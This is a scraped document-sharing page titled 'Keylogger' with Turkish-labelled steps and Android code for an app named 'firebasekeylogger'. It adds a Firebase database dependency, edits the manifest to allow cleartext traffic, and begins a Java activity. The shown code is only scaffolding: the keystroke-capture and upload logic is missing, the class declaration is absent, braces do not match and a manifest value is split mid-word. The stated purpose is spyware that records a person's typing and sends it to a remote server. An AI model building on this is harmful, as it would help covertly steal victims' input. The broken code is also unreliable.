Professional Documents
Culture Documents
Keylogger
Keylogger
Keylogger
dependencies {
implementation 'com.google.firebase:firebase-database:20.2.0'
}
2. Firebase'i Bağlantı Kurma:
classpath 'com.google.gms:google-services:4.5.1'
3. Manifest Dosyasını Güncelleme:
XML
<application
...
android:usesCleartextTraffic="true">
<meta-data
android:name="com.google.firebase.messenger.NotificationProvider"
android:value="com.google.firebase.components.firebaserouting.FirebaseMessagingServ
ice" />
<service
android:name=".MyFirebaseMessagingService"
android:exported="true">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_SERVICE" />
</intent-filter>
</service>
</application>
package com.example.firebasekeylogger;
import android.content.Context;
import android.os.Bundle;
import android.view.KeyEvent;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
@Override
protected void onDestroy() {
super.onDestroy();
if (timer != null) {
timer.cancel();
}
}
}